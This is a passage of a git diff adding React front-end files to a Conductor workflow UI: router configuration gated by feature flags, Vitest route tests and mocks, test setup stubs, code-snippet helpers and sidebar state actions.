= (routes: any[]) => { + routes.forEach((route) => { + out.push(route); + if (route.children) { + walk(route.children); + } + }); + }; + walk(routeList); + return out; +} + +function collectPaths(routeList: any[]): string[] { + const paths: string[] = []; + const walk = (routes: any[]) => { + routes.forEach((route) => { + if (route.path) { + paths.push(route.path); + } + if (route.children) { + walk(route.children); + } + }); + }; + walk(routeList); + return paths; +} + +/** + * OSS `getRoutes()` + `router`: core Conductor UI routes only. Extra routes + * (login, hub, human tasks, etc.) come from host apps via `registerPlugin()`. + */ +describe("router (OSS)", () => { + let mockFeatureFlags: { isEnabled: ReturnType }; + + beforeEach(async () => { + const utils = await import("utils"); + mockFeatureFlags = utils.featureFlags as any; + vi.clearAllMocks(); + }); + + it("should create a browser router with routes from getRoutes", () => { + expect(router).toBeDefined(); + }); + + it("should export the router instance", () => { + expect(router).toBeDefined(); + }); + + describe("AgentSpan gating (AGENTSPAN_ENABLED)", () => { + const AGENT_PATHS = [ + "/agents", + "/agentExecutions", + "/skills", + "/agentSecrets", + ]; + + it("omits agent routes when AGENTSPAN_ENABLED is off", () => { + mockFeatureFlags.isEnabled.mockReturnValue(false); + const paths = collectPaths(getRoutes()); + AGENT_PATHS.forEach((p) => expect(paths).not.toContain(p)); + }); + + it("includes agent routes when AGENTSPAN_ENABLED is on", () => { + mockFeatureFlags.isEnabled.mockImplementation( + (feature: string) => feature === "AGENTSPAN_ENABLED", + ); + const paths = collectPaths(getRoutes()); + AGENT_PATHS.forEach((p) => expect(paths).toContain(p)); + }); + }); + + describe("Route structure", () => { + it("should have a single root route with App element", () => { + const routes = getRoutes(); + + expect(routes).toHaveLength(1); + expect(routes[0]).toHaveProperty("path", "/"); + expect(routes[0]).toHaveProperty("element"); + expect(routes[0]).toHaveProperty("children"); + }); + + it("should contain essential OSS routes with correct elements", () => { + const routes = getRoutes(); + const children = routes[0].children; + + const errorRoute = children?.find((child: any) => child.path === "*"); + const runWorkflowRoute = children?.find( + (child: any) => child.path === "/runWorkflow", + ); + + expect(errorRoute).toBeDefined(); + expect(runWorkflowRoute).toBeDefined(); + expect(errorRoute?.element).toBeDefined(); + expect(runWorkflowRoute?.element).toBeDefined(); + }); + + it("should include runWorkflow and catch-all among top-level children", () => { + const routes = getRoutes(); + const children = routes[0].children; + + const runWorkflowRoute = children?.find( + (child: any) => child.path === "/runWorkflow", + ); + expect(runWorkflowRoute).toBeDefined(); + + expect(children?.length).toBeGreaterThanOrEqual(3); + }); + + it("should have routes with dynamic parameters and correct elements", () => { + const routes = getRoutes(); + const allRoutes = flattenRoutes(routes); + + const dynamicRoutes = allRoutes.filter( + (route) => route.path && route.path.includes(":"), + ); + + expect(dynamicRoutes.length).toBeGreaterThan(0); + + const executionRoute = allRoutes.find( + (route) => route.path === "/execution/:id/:taskId?", + ); + expect(executionRoute).toBeDefined(); + expect(executionRoute?.element).toBeDefined(); + + const workflowDefRoute = allRoutes.find( + (route) => + route.path && route.path.includes("/workflowDef/:name/:version"), + ); + expect(workflowDefRoute).toBeDefined(); + expect(workflowDefRoute?.element).toBeDefined(); + + const taskDefRoute = allRoutes.find( + (route) => route.path && route.path.includes("/taskDef/:name"), + ); + expect(taskDefRoute).toBeDefined(); + expect(taskDefRoute?.element).toBeDefined(); + + const parameterRoutes = dynamicRoutes.filter((route) => { + const path = route.path; + return ( + path.includes(":id") || + path.includes(":name") || + path.includes(":version") + ); + }); + expect(parameterRoutes.length).toBeGreaterThan(5); + }); + + it("should have wildcard routes for nested routing", () => { + const routes = getRoutes(); + const allRoutes = flattenRoutes(routes); + + const wildcardRoutes = allRoutes.filter( + (route) => + route.path && (route.path.includes("*") || route.path.includes("/*")), + ); + + expect(wildcardRoutes.length).toBeGreaterThan(0); + }); + + it("should have kitchen sink development routes with correct elements", () => { + const routes = getRoutes(); + const allRoutes = flattenRoutes(routes); + + const kitchenRoutes = allRoutes.filter( + (route) => route.path && route.path.includes("/kitchen"), + ); + + expect(kitchenRoutes.length).toBeGreaterThan(0); + + const kitchenSinkRoute = allRoutes.find( + (route) => route.path === "/kitchen", + ); + const examplesRoute = allRoutes.find( + (route) => route.path === "/kitchen/examples", + ); + const ganttRoute = allRoutes.find( + (route) => route.path === "/kitchen/gantt", + ); + const themeRoute = allRoutes.find( + (route) => route.path === "/kitchen/theme", + ); + + expect(kitchenSinkRoute).toBeDefined(); + expect(kitchenSinkRoute?.element).toBeDefined(); + + expect(examplesRoute).toBeDefined(); + expect(examplesRoute?.element).toBeDefined(); + + expect(ganttRoute).toBeDefined(); + expect(ganttRoute?.element).toBeDefined(); + + expect(themeRoute).toBeDefined(); + expect(themeRoute?.element).toBeDefined(); + + kitchenRoutes.forEach((route) => { + expect(route.element).toBeDefined(); + expect(route.path).toContain("/kitchen"); + }); + }); + + it("should have a substantial number of routes", () => { + const routes = getRoutes(); + + let totalRoutes = 0; + const countRoutes = (routeList: any[]) => { + routeList.forEach((route) => { + totalRoutes++; + if (route.children) { + countRoutes(route.children); + } + }); + }; + + countRoutes(routes); + + expect(totalRoutes).toBeGreaterThan(25); + }); + + it("should have valid route structure with no duplicate paths at same level", () => { + const routes = getRoutes(); + + const checkDuplicates = (routeList: any[]) => { + const paths = routeList + .filter((route) => route.path) + .map((route) => route.path); + + const uniquePaths = new Set(paths); + expect(paths.length).toBe(uniquePaths.size); + + routeList.forEach((route) => { + if (route.children) { + checkDuplicates(route.children); + } + }); + }; + + checkDuplicates(routes); + }); + + it("should have elements for all routes", () => { + const routes = getRoutes(); + + const validateRoutes = (routeList: any[]) => { + routeList.forEach((route) => { + expect(route).toHaveProperty("element"); + if (route.children) { + validateRoutes(route.children); + } + }); + }; + + validateRoutes(routes); + }); + }); + + describe("Feature flags (OSS)", () => { + const countAllRoutes = (routes: any[]): number => { + let count = 0; + routes.forEach((route) => { + count++; + if (route.children) { + count += countAllRoutes(route.children); + } + }); + return count; + }; + + let BASELINE_ROUTE_COUNT: number; + beforeAll(async () => { + const utils = await import("utils"); + (utils.featureFlags as any).isEnabled.mockImplementation(() => false); + const baselineRoutes = getRoutes(); + BASELINE_ROUTE_COUNT = countAllRoutes(baselineRoutes); + }); + + it("should toggle PLAYGROUND and change route count by one", () => { + mockFeatureFlags.isEnabled.mockImplementation(() => false); + const routesPlaygroundDisabled = getRoutes(); + const countPlaygroundDisabled = countAllRoutes(routesPlaygroundDisabled); + + mockFeatureFlags.isEnabled.mockImplementation( + (feature: string) => feature === "PLAYGROUND", + ); + const routesPlaygroundEnabled = getRoutes(); + const countPlaygroundEnabled = countAllRoutes(routesPlaygroundEnabled); + + expect(countPlaygroundEnabled).toBe(countPlaygroundDisabled - 1); + expect(countPlaygroundDisabled).toBe(BASELINE_ROUTE_COUNT); + expect(countPlaygroundEnabled).toBe(BASELINE_ROUTE_COUNT - 1); + }); + + it("should call feature flags when getRoutes runs", () => { + vi.clearAllMocks(); + getRoutes(); + expect(mockFeatureFlags.isEnabled).toHaveBeenCalled(); + }); + + it("should not include plugin-only paths when no plugins are registered", () => { + const routes = getRoutes(); + const allPaths = collectPaths(routes); + + const hubPaths = allPaths.filter((path) => path.includes("/hub")); + const getStartedPaths = allPaths.filter((path) => + path.includes("/get-started"), + ); + const taskExecutionPaths = allPaths.filter((path) => + path.includes("/taskExecution"), + ); + + expect(hubPaths.length).toBe(0); + expect(getStartedPaths.length).toBe(0); + expect(taskExecutionPaths.length).toBe(0); + + expect(allPaths).toContain("*"); + expect(allPaths).toContain("/executions"); + expect(allPaths).toContain("/runWorkflow"); + }); + + it("should include all scheduler routes as core OSS routes", () => { + const routes = getRoutes(); + const allPaths = collectPaths(routes); + + // Scheduler definitions (list, edit by name, create new) + expect(allPaths).toContain("/scheduleDef"); + expect(allPaths).toContain("/scheduleDef/:name"); + expect(allPaths).toContain("/scheduleDef/new"); + + // Scheduler executions search + expect(allPaths).toContain("/schedulerExecs"); + }); + + it("should not change route count for SHOW_GET_STARTED_PAGE without plugins", () => { + mockFeatureFlags.isEnabled.mockImplementation(() => false); + const countDisabled = countAllRoutes(getRoutes()); + mockFeatureFlags.isEnabled.mockImplementation( + (feature: string) => feature === "SHOW_GET_STARTED_PAGE", + ); + const countEnabled = countAllRoutes(getRoutes()); + expect(countEnabled).toBe(countDisabled); + expect(countDisabled).toBe(BASELINE_ROUTE_COUNT); + }); + + it("should not change route count for TASK_INDEXING without plugins", () => { + mockFeatureFlags.isEnabled.mockImplementation(() => false); + const countDisabled = countAllRoutes(getRoutes()); + mockFeatureFlags.isEnabled.mockImplementation( + (feature: string) => feature === "TASK_INDEXING", + ); + const countEnabled = countAllRoutes(getRoutes()); + expect(countEnabled).toBe(countDisabled); + expect(countDisabled).toBe(BASELINE_ROUTE_COUNT); + }); + + it("should only change count for PLAYGROUND when multiple flags are enabled", () => { + mockFeatureFlags.isEnabled.mockImplementation(() => false); + const countAllDisabled = countAllRoutes(getRoutes()); + mockFeatureFlags.isEnabled.mockImplementation((feature: string) => + ["PLAYGROUND", "SHOW_GET_STARTED_PAGE", "TASK_INDEXING"].includes( + feature, + ), + ); + const countAllEnabled = countAllRoutes(getRoutes()); + expect(countAllEnabled).toBe(countAllDisabled - 1); + expect(countAllDisabled).toBe(BASELINE_ROUTE_COUNT); + expect(countAllEnabled).toBe(BASELINE_ROUTE_COUNT - 1); + }); + + it("should only change count when PLAYGROUND is enabled among these flags", () => { + mockFeatureFlags.isEnabled.mockImplementation(() => false); + const countAllDisabled = countAllRoutes(getRoutes()); + + mockFeatureFlags.isEnabled.mockImplementation( + (feature: string) => feature === "PLAYGROUND", + ); + const countPlaygroundOnly = countAllRoutes(getRoutes()); + + mockFeatureFlags.isEnabled.mockImplementation( + (feature: string) => feature === "SHOW_GET_STARTED_PAGE", + ); + const countGetStartedOnly = countAllRoutes(getRoutes()); + + mockFeatureFlags.isEnabled.mockImplementation( + (feature: string) => feature === "TASK_INDEXING", + ); + const countTaskIndexingOnly = countAllRoutes(getRoutes()); + + expect(countPlaygroundOnly).toBe(countAllDisabled - 1); + expect(countGetStartedOnly).toBe(countAllDisabled); + expect(countTaskIndexingOnly).toBe(countAllDisabled); + expect(countAllDisabled).toBe(BASELINE_ROUTE_COUNT); + }); + }); +}); diff --git a/ui-next/src/routes/__tests__/test-utils.tsx b/ui-next/src/routes/__tests__/test-utils.tsx new file mode 100644 index 0000000..3eac98d --- /dev/null +++ b/ui-next/src/routes/__tests__/test-utils.tsx @@ -0,0 +1,297 @@ +import { vi } from "vitest"; +import { FEATURES } from "utils"; + +/** + * Mock feature flags utility + */ +export const createMockFeatureFlags = (enabledFeatures: string[] = []) => { + return { + isEnabled: vi.fn((feature: string) => enabledFeatures.includes(feature)), + getValue: vi.fn((feature: string, defaultValue?: string) => defaultValue), + getContextValue: vi.fn(() => undefined), + }; +}; + +/** + * Common feature flag configurations for testing + */ +export const FEATURE_FLAG_SCENARIOS = { + PLAYGROUND_ENABLED: [FEATURES.PLAYGROUND], + GET_STARTED_ENABLED: [FEATURES.SHOW_GET_STARTED_PAGE], + TASK_INDEXING_ENABLED: [FEATURES.TASK_INDEXING], + ALL_FEATURES_ENABLED: [ + FEATURES.PLAYGROUND, + FEATURES.SHOW_GET_STARTED_PAGE, + FEATURES.TASK_INDEXING, + FEATURES.SCHEDULER, + FEATURES.HUMAN_TASK, + FEATURES.SECRETS, + FEATURES.WEBHOOKS, + FEATURES.RBAC, + FEATURES.INTEGRATIONS, + FEATURES.REMOTE_SERVICES, + ], + NO_FEATURES_ENABLED: [], +}; + +/** + * Mock all page components with consistent test IDs + */ +export const mockPageComponents = () => { + // Mock Okta components + vi.mock("@okta/okta-react", () => ({ + LoginCallback: () =>
      LoginCallback
      , + })); + + // Mock core components + vi.mock("components/features/auth/AuthGuard", () => ({ + default: ({ children, runWorkflow }: any) => ( +
      + {children} +
      + ), + })); + + vi.mock("components/App", () => ({ + App: ({ children }: any) =>
      {children}
      , + })); + + // Mock auth components + vi.mock("components/features/auth/oidc/OidcRedirectEndpoint", () => ({ + OidcRedirectEndpoint: () => ( +
      OidcRedirectEndpoint
      + ), + })); + + vi.mock("enterprise/pages/auth/Login", () => ({ + default: () =>
      Login
      , + })); + + // Mock page components + const pageComponentMocks = { + // Access management + "enterprise/pages/access/ApplicationManagement": "application-management", + "enterprise/pages/access/GroupManagement": "group-management", + "enterprise/pages/access/users/UserManagement": "user-management", + + // AI and integrations + "enterprise/pages/aiPrompts/AiPromptsManagement": "ai-prompts-management", + "enterprise/pages/integrations/IntegrationsManagement": + "integrations-management", + + // Authentication + "enterprise/pages/Authentication/AuthListing": "auth-listing", + + // Definitions + "pages/definition/task": { TaskDefinition: "task-definition" }, + "pages/definition/WorkflowDefinition": "workflow-definition", + "../pages/definition/EventHandler/EventHandler": "event-handler-definition", + + // Executions + "pages/executions": { + SchedulerExecutions: "scheduler-executions", + TaskSearch: "task-search", + WorkflowSearch: "workflow-search", + }, + "../pages/execution/Execution": "execution", + + // Hub + "enterprise/pages/hub/hub": { + HubMain: "hub-main", + HubTemplateDetail: "hub-template-detail", + HubTemplateImport: "hub-template-import", + }, + + // Human tasks + "enterprise/pages/human": { SearchPage: "search-page" }, + "enterprise/pages/human/humanTask": { TaskPage: "task-page" }, + "enterprise/pages/human/search/TaskInboxPage": { + TaskInboxPage: "task-inbox-page", + }, + "enterprise/pages/human/templates": { + TemplateEditorPage: "template-editor-page", + TemplatePage: "template-page", + }, + + // Other pages + "pages/creatorFlags/CreatorFlags": { CreatorFlags: "creator-flags" }, + "enterprise/pages/envVariables/EnvVariables": { + EnvVariables: "env-variables", + }, + "pages/error/ErrorPage": "error-page", + "pages/eventMonitor/EventMonitor": { EventMonitor: "event-monitor" }, + "pages/eventMonitor/EventMonitorDetail/EventMonitorDetail": { + EventMonitorDetail: "event-monitor-detail", + }, + "enterprise/pages/getStarted/GetStarted": "get-started", + "enterprise/pages/metrics": "metrics-page", + "enterprise/pages/secrets/Secrets": "secrets", + + // Remote services + "enterprise/pages/remoteServices/edit/ServiceEdit": "service-edit", + "enterprise/pages/remoteServices/Services": { Services: "remote-services" }, + + // Schema + "enterprise/pages/schema/edit/SchemaEditPage": { + SchemaEditPage: "schema-edit-page", + }, + "enterprise/pages/schema/list/SchemaList": { SchemaList: "schema-list" }, + + // Services + "enterprise/pages/services/EditService": "edit-service", + "enterprise/pages/services/NewService": "new-service", + "enterprise/pages/services/routes/EditRoute": "edit-route", + "enterprise/pages/services/routes/NewRoute": "new-route", + "enterprise/pages/services/routes/RouteDetails": "route-details", + "enterprise/pages/services/Service": "service", + "enterprise/pages/services/Services": "services", + + // Webhooks + "enterprise/pages/webhooks": { Webhooks: "webhooks" }, + "enterprise/pages/webhooks/edit/WebhookEdit": { + WebhookEditPage: "webhook-edit-page", + }, + + // Kitchen sink + "../pages/kitchensink/Examples": "examples", + "../pages/kitchensink/Gantt": "gantt", + "../pages/kitchensink/KitchenSink": "kitchen-sink", + "../pages/kitchensink/ThemeSampler": "theme-sampler", + + // Queue and scheduler + "../pages/queueMonitor/TaskQueue": "task-queue", + "../pages/scheduler": { Schedule: "schedule" }, + + // Definitions (additional) + "pages/definitions": { + EventHandler: "event-handler-definitions", + Schedules: "schedule-definitions", + Task: "task-definitions", + Workflow: "workflow-definitions", + }, + }; + + // Create mocks for each page component + Object.entries(pageComponentMocks).forEach(([path, mockConfig]) => { + if (typeof mockConfig === "string") { + // Simple default export + vi.mock(path, () => ({ + default: () =>
      {mockConfig}
      , + })); + } else { + // Named exports + const namedExports: any = {}; + Object.entries(mockConfig).forEach(([exportName, testId]) => { + namedExports[exportName] = () => ( +
      {testId}
      + ); + }); + vi.mock(path, () => namedExports); + } + }); +}; + +/** + * Helper to find routes in the route tree + */ +export const findRouteByPath = (routes: any[], path: string): any => { + for (const route of routes) { + if (route.path === path) { + return route; + } + if (route.children) { + const found = findRouteByPath(route.children, path); + if (found) return found; + } + } + return null; +}; + +/** + * Helper to find all routes with a specific property + */ +export const findRoutesByProperty = ( + routes: any[], + property: string, + value?: any, +): any[] => { + const found: any[] = []; + + for (const route of routes) { + if (value !== undefined) { + if (route[property] === value) { + found.push(route); + } + } else { + if (Object.hasOwn(route, property)) { + found.push(route); + } + } + + if (route.children) { + found.push(...findRoutesByProperty(route.children, property, value)); + } + } + + return found; +}; + +/** + * Helper to get all paths from route tree + */ +export const getAllPaths = (routes: any[]): string[] => { + const paths: string[] = []; + + for (const route of routes) { + if (route.path) { + paths.push(route.path); + } + if (route.children) { + paths.push(...getAllPaths(route.children)); + } + } + + return paths; +}; + +/** + * Helper to count routes at each level + */ +export const getRouteStats = (routes: any[]) => { + let totalRoutes = 0; + let dynamicRoutes = 0; + let wildcardRoutes = 0; + let indexRoutes = 0; + + const countRoutes = (routeList: any[]) => { + for (const route of routeList) { + totalRoutes++; + + if (route.index) { + indexRoutes++; + } + + if (route.path) { + if (route.path.includes(":")) { + dynamicRoutes++; + } + if (route.path.includes("*")) { + wildcardRoutes++; + } + } + + if (route.children) { + countRoutes(route.children); + } + } + }; + + countRoutes(routes); + + return { + totalRoutes, + dynamicRoutes, + wildcardRoutes, + indexRoutes, + }; +}; diff --git a/ui-next/src/routes/router.tsx b/ui-next/src/routes/router.tsx new file mode 100644 index 0000000..f7fd349 --- /dev/null +++ b/ui-next/src/routes/router.tsx @@ -0,0 +1,4 @@ +import { createBrowserRouter } from "react-router"; +import { getRoutes } from "./routes"; + +export const router = createBrowserRouter(getRoutes()); diff --git a/ui-next/src/routes/routes.tsx b/ui-next/src/routes/routes.tsx new file mode 100644 index 0000000..ce1eabf --- /dev/null +++ b/ui-next/src/routes/routes.tsx @@ -0,0 +1,290 @@ +/** + * Routes Configuration + * + * This module defines the application routes. Core routes are defined inline, + * while enterprise routes are registered via the plugin system. + * + * Core routes (OSS): + * - Workflow definitions and executions + * - Task definitions + * - Event handlers + * - Scheduler definitions and executions + * - Queue monitor + * - Event monitor + * - API reference + * - Tags dashboard + * + * Enterprise routes (registered via plugins): + * - Auth (login, callbacks, RBAC pages) + * - Webhooks + * - Human Tasks + * - AI Prompts + * - Secrets + * - Integrations + * - Gateway Services + * - Remote Services + * - Metrics + * - Environment Variables + * - Schemas + * - Workers + */ + +import { App } from "components/App"; +import DefaultAuthGuard from "components/features/auth/AuthGuard"; +import ApiReferencePage from "pages/apiDocs/ApiReferencePage"; +import { CreatorFlags } from "pages/creatorFlags/CreatorFlags"; +import { TaskDefinition } from "pages/definition/task"; +import WorkflowDefinition from "pages/definition/WorkflowDefinition"; +import { + EventHandler as EventHandlerDefinitions, + Schedules as ScheduleDefinitions, + Task as TaskDefinitions, + Workflow as WorkflowDefinitions, +} from "pages/definitions"; +import ErrorPage from "pages/error/ErrorPage"; +import { EventMonitor } from "pages/eventMonitor/EventMonitor"; +import { EventMonitorDetail } from "pages/eventMonitor/EventMonitorDetail/EventMonitorDetail"; +import { SchedulerExecutions, WorkflowSearch } from "pages/executions"; +import { pluginRegistry } from "plugins/registry"; +import { RouteObject } from "react-router-dom"; +import { featureFlags, FEATURES } from "utils"; +import { + API_REFERENCE_URL, + EVENT_HANDLERS_URL, + EVENT_MONITOR_URL, + NEW_TASK_DEF_URL, + RUN_WORKFLOW_URL, + SCHEDULER_DEFINITION_URL, + TASK_DEF_URL, + TASK_QUEUE_URL, + WORKFLOW_DEFINITION_URL, +} from "utils/constants/route"; +import { + AgentDefinitions, + AgentExecutions as AgentExecutionsPage, + Secrets as AgentSecretsPage, + Skills as SkillsPage, +} from "pages/agent"; +import { + AGENT_DEFINITION_URL, + AGENT_EXECUTIONS_URL, + AGENT_SECRETS_URL, + SKILLS_URL, +} from "utils/constants/route"; +import EventHandlerDefinition from "../pages/definition/EventHandler/EventHandler"; +import Execution from "../pages/execution/Execution"; +import Examples from "../pages/kitchensink/Examples"; +import Gantt from "../pages/kitchensink/Gantt"; +import KitchenSink from "../pages/kitchensink/KitchenSink"; +import ThemeSampler from "../pages/kitchensink/ThemeSampler"; +import TaskQueue from "../pages/queueMonitor/TaskQueue"; +import { Schedule } from "../pages/scheduler"; + +/** + * Core authenticated routes (OSS) + * These are the fundamental Conductor UI features available in open source. + */ +const getCoreAuthenticatedRoutes = () => [ + // Workflow Executions + { + path: "/executions", + element: , + }, + { + path: "/schedulerExecs", + element: , + }, + { + path: "/execution/:id/:taskId?", + element: , + }, + + // Workflow Definitions + { + path: WORKFLOW_DEFINITION_URL.BASE, + element: , + }, + { + path: WORKFLOW_DEFINITION_URL.NAME_VERSION, + element: , + }, + { + path: WORKFLOW_DEFINITION_URL.NEW, + element: , + }, + { + path: "/workFlowTemplate/:templateId", + element: , + }, + + // Task Definitions + { + path: NEW_TASK_DEF_URL, + element: , + }, + { + path: TASK_DEF_URL.BASE, + element: , + }, + { + path: TASK_DEF_URL.NAME, + element: , + }, + + // Event Handlers + { + path: EVENT_HANDLERS_URL.BASE, + element: , + }, + { + path: EVENT_HANDLERS_URL.NAME, + element: , + }, + { + path: EVENT_HANDLERS_URL.NEW, + element: , + }, + + // Scheduler Definitions + { + path: SCHEDULER_DEFINITION_URL.BASE, + element: , + }, + { + path: SCHEDULER_DEFINITION_URL.NAME, + element: , + }, + { + path: SCHEDULER_DEFINITION_URL.NEW, + element: , + }, + + // Queue Monitor + { + path: TASK_QUEUE_URL.BASE, + element: , + }, + + // Event Monitor + { + path: EVENT_MONITOR_URL.BASE, + element: , + }, + { + path: EVENT_MONITOR_URL.NAME, + element: , + }, + + // API Reference + { + path: API_REFERENCE_URL.BASE, + element: , + }, + + // Dev/Debug pages (Kitchen Sink) + { + path: "/kitchen", + element: , + }, + { + path: "/kitchen/examples", + element: , + }, + { + path: "/kitchen/gantt", + element: , + }, + { + path: "/kitchen/theme", + element: , + }, + { + path: "/flags", + element: , + }, + + // Embedded AgentSpan pages (registered only when AGENTSPAN_ENABLED, i.e. + // the server's conductor.integrations.ai.enabled is true). + ...(featureFlags.isEnabled(FEATURES.AGENTSPAN_ENABLED) + ? [ + { path: AGENT_DEFINITION_URL.BASE, element: }, + { path: AGENT_EXECUTIONS_URL.BASE, element: }, + // Same Execution page/component as "/execution/:id/:taskId?" — just + // reached from the Agents section, so the sidebar keeps "Executions" + // (under Agents) highlighted instead of the plain Workflow item. + { path: AGENT_EXECUTIONS_URL.ID_TASK_ID, element: }, + { path: SKILLS_URL.BASE, element: }, + { path: AGENT_SECRETS_URL, element: }, + ] + : []), +]; + +/** + * Get the default index route based on feature flags + */ +const getIndexRoute = (isPlayground: boolean) => { + if (isPlayground) { + // In playground mode, we need the hub pages - these come from plugins + return null; // Will be provided by playground plugin + } + return { + index: true, + element: , + }; +}; + +/** + * Build the complete route configuration + */ +export const getRoutes = (): RouteObject[] => { + const isPlayground = featureFlags.isEnabled(FEATURES.PLAYGROUND); + + // Get routes from plugins + const pluginAuthenticatedRoutes = pluginRegistry.getRoutes(); + const pluginPublicRoutes = pluginRegistry.getPublicRoutes(); + + // Get auth guard from plugins (enterprise) or use default (OSS) + const AuthGuard = pluginRegistry.getAuthGuard() || DefaultAuthGuard; + + // Core authenticated routes + const coreRoutes = getCoreAuthenticatedRoutes(); + + // Build the index route (either core WorkflowSearch or from playground plugin) + const indexRoute = getIndexRoute(isPlayground); + + // Combine all authenticated routes + const allAuthenticatedRoutes = [ + ...(indexRoute ? [indexRoute] : []), + ...coreRoutes, + ...pluginAuthenticatedRoutes, + ]; + + return [ + { + path: "/", + element: , + children: [ + // Main authenticated section + { + element: , + children: allAuthenticatedRoutes, + }, + + // Special route for runWorkflow (has special AuthGuard behavior) + { + path: RUN_WORKFLOW_URL, + element: , + }, + + // Public routes from plugins (login pages, OAuth callbacks, etc.) + ...pluginPublicRoutes, + + // Error page (catch-all) + { + path: "*", + element: , + }, + ], + }, + ]; +}; diff --git a/ui-next/src/setupTests.ts b/ui-next/src/setupTests.ts new file mode 100644 index 0000000..cc93b7d --- /dev/null +++ b/ui-next/src/setupTests.ts @@ -0,0 +1,43 @@ +import "@testing-library/jest-dom"; +import { vi } from "vitest"; + +// Newer Node versions ship an experimental global `localStorage` that is +// only functional when the process is started with `--localstorage-file`. +// Without that flag `localStorage` resolves to an object whose methods throw +// (or, on some versions, to `undefined`), which breaks any module that reads +// localStorage at import time (e.g. utils/flags.ts). jsdom's own +// implementation isn't reliably installed ahead of that broken global in +// every Node/vitest version combo, so provide a plain in-memory stand-in. +if ( + typeof localStorage === "undefined" || + typeof localStorage.getItem !== "function" +) { + const store = new Map(); + vi.stubGlobal("localStorage", { + getItem: (key: string) => (store.has(key) ? store.get(key)! : null), + setItem: (key: string, value: string) => store.set(key, String(value)), + removeItem: (key: string) => store.delete(key), + clear: () => store.clear(), + key: (index: number) => Array.from(store.keys())[index] ?? null, + get length() { + return store.size; + }, + }); +} + +// Monaco Editor calls document.queryCommandSupported during module init, +// which jsdom does not implement. Stub it out globally. +Object.defineProperty(document, "queryCommandSupported", { + value: vi.fn(() => false), + writable: true, +}); + +// Monaco Editor does not run in jsdom. Mock the package so tests that render +// components containing editors get a lightweight no-op instead. +vi.mock("@monaco-editor/react", () => ({ + default: vi.fn(() => null), + Editor: vi.fn(() => null), + DiffEditor: vi.fn(() => null), + useMonaco: vi.fn(() => null), + loader: { config: vi.fn() }, +})); diff --git a/ui-next/src/shared/CodeModal/curlHeader.ts b/ui-next/src/shared/CodeModal/curlHeader.ts new file mode 100644 index 0000000..65438f5 --- /dev/null +++ b/ui-next/src/shared/CodeModal/curlHeader.ts @@ -0,0 +1,4 @@ +export const curlHeaders = (accessToken: string) => ({ + Accept: "*/*", + "X-Authorization": accessToken, +}); diff --git a/ui-next/src/shared/CodeModal/hook.ts b/ui-next/src/shared/CodeModal/hook.ts new file mode 100644 index 0000000..70d2ed5 --- /dev/null +++ b/ui-next/src/shared/CodeModal/hook.ts @@ -0,0 +1,26 @@ +import { useState } from "react"; +import { SupportedDisplayTypes } from "./types"; +import _prop from "lodash/property"; +import { getAccessToken } from "components/features/auth/tokenManagerJotai"; + +export type toCodeT = Partial< + Record string> +>; + +export const useParamsToSdk = (args: T, toCode: toCodeT) => { + const [selectedLanguage, setSelectedLanguage] = + useState("curl"); + + const toCodeFunc = _prop< + toCodeT, + (args: T, accessToken: string) => string + >(selectedLanguage)(toCode); + + const accessToken = getAccessToken() || ""; + + return { + selectedLanguage, + setSelectedLanguage, + code: toCodeFunc(args, accessToken), + }; +}; diff --git a/ui-next/src/shared/CodeModal/types.ts b/ui-next/src/shared/CodeModal/types.ts new file mode 100644 index 0000000..9b661ea --- /dev/null +++ b/ui-next/src/shared/CodeModal/types.ts @@ -0,0 +1,11 @@ +export type SupportedDisplayTypes = "javascript" | "java" | "curl" | "python"; + +export type ApiSearchModalProps = { + dialogTitle?: string; + dialogHeaderText?: string; + code: string; + handleClose: () => void; + onTabChange: (selectedType: SupportedDisplayTypes) => void; + displayLanguage: SupportedDisplayTypes; + languages: SupportedDisplayTypes[]; +}; diff --git a/ui-next/src/shared/PersistableSidebar/state/actions.ts b/ui-next/src/shared/PersistableSidebar/state/actions.ts new file mode 100644 index 0000000..c1e29dc --- /dev/null +++ b/ui-next/src/shared/PersistableSidebar/state/actions.ts @@ -0,0 +1,88 @@ +import { DoneInvokeEvent, assign } from "xstate"; +import { + AddMenuEventType, + AddMenusEventType, + RemoveMenuEventType, + SidebarMachineContext, + ToggleBannerEventType, + ToggleSearchModalEventType, +} from "./types"; +import _filter from "lodash/filter"; +import { MENU_ITEMS_LOCAL_STORAGE_KEY } from "./services"; + +export const persistOpenedMenus = assign({ + openedMenus: (_context, { data }: DoneInvokeEvent) => data, +}); + +export const persistBannerStateInContext = assign< + SidebarMachineContext, + ToggleBannerEventType +>((_context, { data }) => ({ + isBannerOpen: data.val, +})); + +export const persistSearchModalStateInContext = assign< + SidebarMachineContext, + ToggleSearchModalEventType +>((_context, { data }) => ({ + isSearchModalOpen: data.val, +})); + +export const clearMenuState = assign( + ({ openedMenus }) => ({ + stashedMenus: openedMenus, + openedMenus: [], + }), +); + +export const restoreMenuState = assign( + ({ stashedMenus }) => ({ + openedMenus: stashedMenus, + stashedMenus: [], + }), +); + +export const addInOpenedMenus = assign({ + openedMenus: ( + { openedMenus }: SidebarMachineContext, + { data }: AddMenuEventType, + ) => { + const { id } = data; + const existedMenu = openedMenus?.includes(id); + if (!existedMenu) { + const updatedMenus = [...openedMenus, id]; + localStorage.setItem( + MENU_ITEMS_LOCAL_STORAGE_KEY, + JSON.stringify(updatedMenus), + ); + return updatedMenus; + } + return openedMenus; + }, +}); + +export const removeFromOpenedMenus = assign({ + openedMenus: ( + { openedMenus }: SidebarMachineContext, + { data }: RemoveMenuEventType, + ) => { + const { id } = data; + const updatedMenus = _filter(openedMenus, (menu) => menu !== id); + localStorage.setItem( + MENU_ITEMS_LOCAL_STORAGE_KEY, + JSON.stringify(updatedMenus), + ); + return updatedMenus; + }, +}); + +export const setOpenedMenus = assign({ + openedMenus: ( + _context: SidebarMachineContext, + { data }: AddMenusEventType, + ) => { + const { items } = data; + localStorage.setItem(MENU_ITEMS_LOCAL_STORAGE_KEY, JSON.stringify(items)); + return items; + }, +}); diff --git a/ui-next/src/shared/PersistableSidebar/state/hook.ts b/ui-next/src/shared/PersistableSidebar/state/hook.ts new file mode 100644 index 0000000..39db701 --- /dev/null +++ b/ui-next/src/shared/PersistableSidebar/state/hook.ts @@ -0,0 +1,115 @@ +import { useSelector } from "@xstate/react"; +import { useCallback, useEffect } from "react"; +import { useLocation } from "react-router"; +import { ActorRef, State } from "xstate"; +import { + PersistableSidebarEvent, + PersistableSidebarEventTypes, + PersistableSidebarStates, + SidebarMachineContext, +} from "./types"; + +export const useSidebarMenu = ( + sidebarActor: ActorRef, + isMobile: boolean, +) => { + const location = useLocation(); + + const isSidebarExpanded = useSelector( + 